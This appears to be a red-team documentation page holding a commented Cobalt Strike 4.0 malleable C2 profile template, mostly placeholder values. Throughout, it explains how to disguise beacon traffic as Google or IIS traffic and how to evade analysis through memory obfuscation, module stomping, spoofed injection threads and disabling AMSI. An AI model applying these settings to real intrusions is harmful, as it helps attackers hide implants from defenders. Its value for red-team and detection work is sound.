Malleable C2 profiles
A guideline C2 profile for Cobaltstrike 4.0
Initial template from: https://github.com/bigb0sss/RedTeam/tree/master/CobaltStrike/malleable_C2_profile
# CobaltStrike 4.0+ Guideline Profile
#
# Malleable C2 profiles control the beacon traffics and communication indicators as well as in-memory characteristics, beacon process injection
# and influencing post-exploitation jobs, which are the most sexiest features of the CobbaltStrike.
#
# References:
# * https://www.cobaltstrike.com/help-malleable-c2
# * https://www.cobaltstrike.com/help-malleable-postex
#
# Author: @bigb0ss
# Github: https://github.com/bigb0sss
#
# Updates:
# 04/02/2020
# (1) "[]" brackets to contain choice options
# (2) "<>" brackets for user-supplied values. Example values already provided.
# (3) Adding options for all the blocks as many as possible. Add/remove them as your own usage.
### Global Option Block
set sample_name "<bigb0ss>.profile"; # Profile name (used in the Indicators of Compromise report)
set sleeptime "<30000>"; # Sleep time for the beacon callback (in milliseconds)
set jitter "<50>"; # Jitter to set %. In this example, the beacon will callback between 15 and 30 sec jitter
set host_stage "[true|false]"; # Staged payload allow or disallow (Note: Stager payloads are generally easier to get caught, but it's necessary for the space-restricted situations)
set useragent "<Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.177>"; # User-Agent Setup
### DNS Beacon Block
set dns_idel "<8.8.8.8>"; # IP to indicate no tasks available. Avoid using bogon address "0.0.0.0" (This can be picked up as IOC)
set maxdns "[0-255]"; # Maximum length of hostname when uploading data over DNS (0-255)
set dns_sleep "<1000>"; # Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_stager_prepend ""; # Prepend text to payload stage delivered to DNS TXT record stager
set dns_stager_subhost "<.stage.8546.>"; # Subdomain used by DNS TXT record stager
set dns_max_txt "[0-255]"; # Maximum length of DNS TXT responses for tasks
set dns_ttl "<1>"; # TTL for DNS replies
### SMB Beacon Block (P2P)
set pipename "<win_svc+8546>"; # Name of pipe to use for SMB beacon's peer-to-peer communication
set pipename_stager "<win_svc+8546>"; # Name of pipe to use for SMB beacon's named pipe stager
### TCP Beacon Block (P2P)
set tcp_port "<1337>"; # TCP beacon listen port
### Self-Signed Certificate HTTPS Beacon Block (This is useful to replicate existing SSL certificate values)
https-certificate {
set C "<US>"; # Country
set CN "<google.com>"; # Common Name; Whatever.com or your callback domain
set L "<Mountain View>"; # Locality
set O "<Alphabet Inc.>"; # Organization Name
set OU "<Google Certificate>"; # Organizational Unit Name
set ST "<CA>"; # State
set validity "<365>"; # Number of days certificate is valid for
}
### Valid SSL Certificate HTTPS Beacon Block (Specify a Java Keystore file and a password for the keystore)
https-certificate {
set keystore "<domain>.store"; # Private key, root cert, intermediate cert and domain cert - Java Keystore file should be in the same folder with Malleable C2 profile
set password "<mypassword>"; # The password to your Java Keystore
}
### Creating a Valid SSL Certificate
# keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store
# keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store
# keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store
# keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store
### Code Signing Certificate Block
code-signer {
set keystore "<keystore>.jks";
set password "<mypassword>";
set alias "<server>";
}
### Creating a Code Signing Certificate
# keytool -genkey -alias server -keyalg RSA -keysize 2048 -keystore keystore.jks
# keytool -certreq -alias server -file csr.csr -keystore keystore.jks
# keytool -import -trustcacerts -alias server -file domain.p7b -keystore keystore.jks
### HTTP/S Global Response Header Block
http-config {
set headers "Server, Content-Type, Cache-Control, Connection, X-Powered-By"; # HTTP header order
header "Server" "Microsoft-IIS/8.5";
header "Content-Type" "text/html;charset=UTF-8";
header "Cache-Control" "max-age=1";
header "Connection" "keep-alive";
header "X-Powered-By" "ASP.NET";
set trust_x_forwarded_for "[true|false]"; # "true" if the team server is behind an HTTP redirector
}
### HTTP-GET Block (Beacon check-in for task queued)
http-get {
set uri "</image/xxxxxx>"; # For multiple URIs = "/image /index /sexy"
set verb "[GET|POST]" # Not really need to config this for http-get, but you can change it to POST if you want
client {
header "Host" "<domain.com>";
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close";
}
metadata {
# Data Transform Language
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "<user=>"; # Prepend "string"
append "<.asp>"; # Append "string"
# Termination Statements
parameter "<key>"; # Store data in a URI parameter
header "<Cookie>"; # Store data in an HTTP header
uri-append; # Append to URI
print; # Send data as transaction body (set "verb" to POST to use "print")
}
server {
# headers will be pulled from the http-config block, or manually add your preferences below:
header "Server" "Apache";
output {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "<user=>"; # Prepend "string"
append "<.asp>"; # Append "string"
print; # Server block MUST be terminated with "print"
}
}
}
### HTTP-POST Block (Beacon check-in for task output)
http-post {
set uri "</image/xxxxxx>"; # For multiple URIs = "/image /index /sexy"
set verb "[GET|POST]" # Use "GET" for GET Only C2
client {
header "Host" "<domain.com>";
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close";
id {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "<user=>"; # Prepend "string"
append "<.asp>"; # Append "string"
parameter "<id>"; # Add Beacon ID in parameter
header "<ID-Header>"; # Add Beacon ID in header
}
output {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "<user=>"; # Prepend "string"
append "<.asp>"; # Append "string"
parameter "<key>"; # Store data in a URI parameter
header "<Cookie>"; # Store data in an HTTP header
uri-append; # Append to URI
}
}
server {
# headers will be pulled from the http-config block, or manually add your preferences below:
header "Server" "Apache";
output {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "<user=>"; # Prepend "string"
append "<.asp>"; # Append "string"
print; # Server block MUST be terminated with "print"
}
}
}
### HTTP-Stager Block (Options for using a staged payload)
http-stager {
set uri_x86 "</get32.gif>"; # Set to download 32-bit payload stage
set uri_x64 "</get64.gif>"; # Set to download 64-bit payload stage
client { # Clinet = Defining the client side of the HTTP transaction.
header "Host" "<domain.com>";
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close";
header "Cookie" "XXXXXX"
parameter "id" "8645";
}
server {
# headers will be pulled from the http-config block, or manually add your preferences below:
header "Server" "Apache";
output {
base64; # Base64 Encode
base64url; # URL-safe Base64 Encode
mask; # XOR mask w/ random key
netbios; # NetBIOS Encode 'a'
netbiosu; # NetBIOS Encode 'A'
prepend "<user=>"; # Prepend "string"
append "<.asp>"; # Append "string"
print; # Server block MUST be terminated with "print"
}
}
}
### Malleable PE & In-Memory Evasion and Obfuscation Block
stage {
set checksum "<0>"; # The CheckSum value in Beacon's PE header
set cleanup "[true|false]"; # If "true," free memory associated with the Reflective DLL package when it's no longer needed
set compile_time "<02 April 2020 02:35:00>"; # The build time in Beacon's PE header
set entry_point "<92145>"; # The EntryPoint value in Beacon's PE header
set image_size_x86 "<512000>"; # SizeOfImage value in x86 Beacon's PE header ([!] Avoid using image_size_x86 if module_x86 in use)
set image_size_x64 "<512000>"; # SizeOfImage value in x64 Beacon's PE header ([!] Avoid using image_size_x64 if module_x64 in use)
# Module Stomping (By default, Beacon's loader allocates memory with VirtualAlloc. Module stomping is an alternative to this.)
set module_x86 "<legit.dll>"; # Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc
set module_x64 "<legit.dll>"; # Ask the x64 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc
set name "<legit.dll>"; # The Exported name of the Beacon DLL
set rich_header "<\x00\x00\x00\x00>"; # Meta-information inserted by the compiler. The Rich header is a PE section that serves as a fingerprint of a Windows’ executable’s build environment
# Example Rich Header of cmd.exe
# \x44\x61\x6E\x53\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x78\x93\x00\x42\x00\x00\x00
# \x73\x62\x03\x01\x03\x00\x00\x00\x73\x62\x04\x01\x15\x00\x00\x00\x00\x00\x01\x00\x25\x01\x00\x00
# \x73\x62\x01\x01\x05\x00\x00\x00\x73\x62\x05\x01\x09\x00\x00\x00\x73\x62\x0E\x01\x28\x00\x00\x00
# \x73\x62\xFF\x00\x01\x00\x00\x00\x73\x62\x02\x01\x01\x00\x00\x00\x52\x69\x63\x68\x98\x79\x8F\x1E
# \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
set sleep_mask "[true|false]"; # Obfuscate Beacon, in-memory, prior to sleeping
set stomppe "[true|false]"; # Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload
# stomppe [true] - Lightly obfuscate your Beacon DLL
# stomppe [false] - Allow easy detection
set obfuscate "[true|false]"; # Obfuscate the Reflective DLL's import table (can be IOC), overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers
# "obfuscate" takes many steps to obfuscate your Beacon stage and the final state of the DLL in memory
set userwx "[true|false]"; # Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory (can be IOC)
# userwx [true] - Allow RWX permissions (may bring more attention from analysts and security products)
# userwx [false] - Ask Beacon's loader to avoid RWX permissions
# Transform blocks pad and transform Beacon's Reflective DLL stage. (prepend, append, strrep)
# Make sure that prepended data is valid code for the stage's architecture (x86, x64). The c2lint program does not have a check for this.
transform-x86 {
prepend "\x90\x90\x90"; # Inserts a string before Beacon's Reflective DLL --> Defeat analysis on the first few bytes of a memory segment of an injected DLL
append "\x90\x90\x90"; # Adds a string after the Beacon Reflective DLL
strrep "ReflectiveLoader" ""; # Replaces a string within Beacon's Reflective DLL --> Defeat analysis on tool-specific strings
# If "strrep" isn't enough, set "sleep_mask" to true. This directs Beacon to obfuscate itself in-memory before it goes to sleep. After sleeping, Beacon will de-obfuscate itself to request and process tasks. The SMB and TCP Beacons will obfuscate themselves while waiting for a new connection or waiting for data from their parent session.
}
transform-x64 {
prepend "\x90\x90\x90"; # Inserts a string before Beacon's Reflective DLL
append "\x90\x90\x90"; # Adds a string after the Beacon Reflective DLL
strrep "ReflectiveLoader" ""; # Replaces a string within Beacon's Reflective DLL
}
# Stage block allows to add strings to the .rdata section of Beacon DLL
data "<whatever string>"; # Adds a string as-is (ex) "bigb0ss")
string "<whatever string>"; # Adds a null-terminated string (ex) {'b','i','g','b','0','s','s','\0'})
stringw "<whatever string>"; # Adds a wide (UTF-16LE encoded) string (ex) 0062 0069 0067 0062 0030 0073 0073)
}
### Process Injection Block (Controls injected contenet and process injection behaviors)
process-inject {
set allocator "[VirtualAllocEx|NtMapViewOfSection]"; # The preferred method to allocate memory in the remote process.
# allocator [VirtualAllocEx] - For cross-arch memory allocations
# allocator [NtMapViewOfSection] - For same-arch process injection
set min_alloc "<4096>"; # Minimum amount of memory to request for injected content
set startrwx "[true|false]"; # Use RWX as initial permissions for injected content. Alternative is RW.
set userwx "[true|false]"; # Use RWX as final permissions for injected content. Alternative is RX.
# Transform blocks pad and transform Beacon's Reflective DLL stage. (prepend, append)
# Make sure that prepended data is valid code for the stage's architecture (x86, x64). The c2lint program does not have a check for this.
transform-x86 {
prepend "\x90\x90\x90"; # Inserts a string before Beacon's Reflective DLL
append "\x90\x90\x90"; # Adds a string after the Beacon Reflective DLL
}
transform-x64 {
prepend "\x90\x90\x90"; # Inserts a string before Beacon's Reflective DLL
append "\x90\x90\x90"; # Adds a string after the Beacon Reflective DLL
}
# Execute - Determin how to execute the injected code
execute {
# CreateThread & CreateRemoteThread Operations:
# (1) Spawn a suspended thread with the address of another function
# (2) Update the suspended thread to execute the injected code
# (3) Finally, resume that thread
# Use [function] “module!function+0x##” to specify the start address to spoof
CreateThread "ntdll.dll!RtlUserThreadStart+0x1000"; # Current process only ([!] Sysmon EventID 8 - a process creates a thread in another process)
CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; # No cross-session ([!] Sysmon EventID 8 - a process creates a thread in another process)
NtQueueApcThread; # Uses RWX shellcode and "CreateThread" start address. Same-arch injection only
NtQueueApcThread-s; # "Early Bird" injection technique. Suspended process only
RtlCreateUserThread; # Risky on XP-era targets. Uses RWX shellcode for x86 -> x64 injection. ([!] Sysmon EventID 8 - a process creates a thread in another process)
SetThreadContext; # Suspended process only
}
}
### Post-Exploitation Block (Controls the post-ex content and behaviors)
# CobaltStrike Post-Ex Operations (ex) screenshot, keylogger, hashdump, etc.):
# (1) Leverage Windows DLLs to execute post-ex features
# (2) To do this, CobaltStrike spawns a temp process --> injects the feature into it
post-ex {
set spawnto_x86 "%windir%\\syswow64\\<mfpmp>.exe"; # Do not specify %windir%\system32 or c:\windows\system32 directly
set spawnto_x64 "%windir%\\sysnative\\<mfpmp>.exe"; # Do not specify %windir%\system32 or c:\windows\system32 directly
set obfuscate "[true|false]"; # Obfuscate the permissions and content of our post-ex DLLs
set smartinject "[true|false]"; # Directs Beacon to embed key function pointers (ex) GetProcAddress, LoadLibrary) into its same-arch post-ex DLLs.
# This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory accesses to the PEB and kernel32.dll.
set amsi_disable "[true|false]"; # Disable AMSI (Antimalware Scan Interface) in powerpick, execute-assembly and psinject before loading .NET or PS code
}
Last updated
Was this helpful?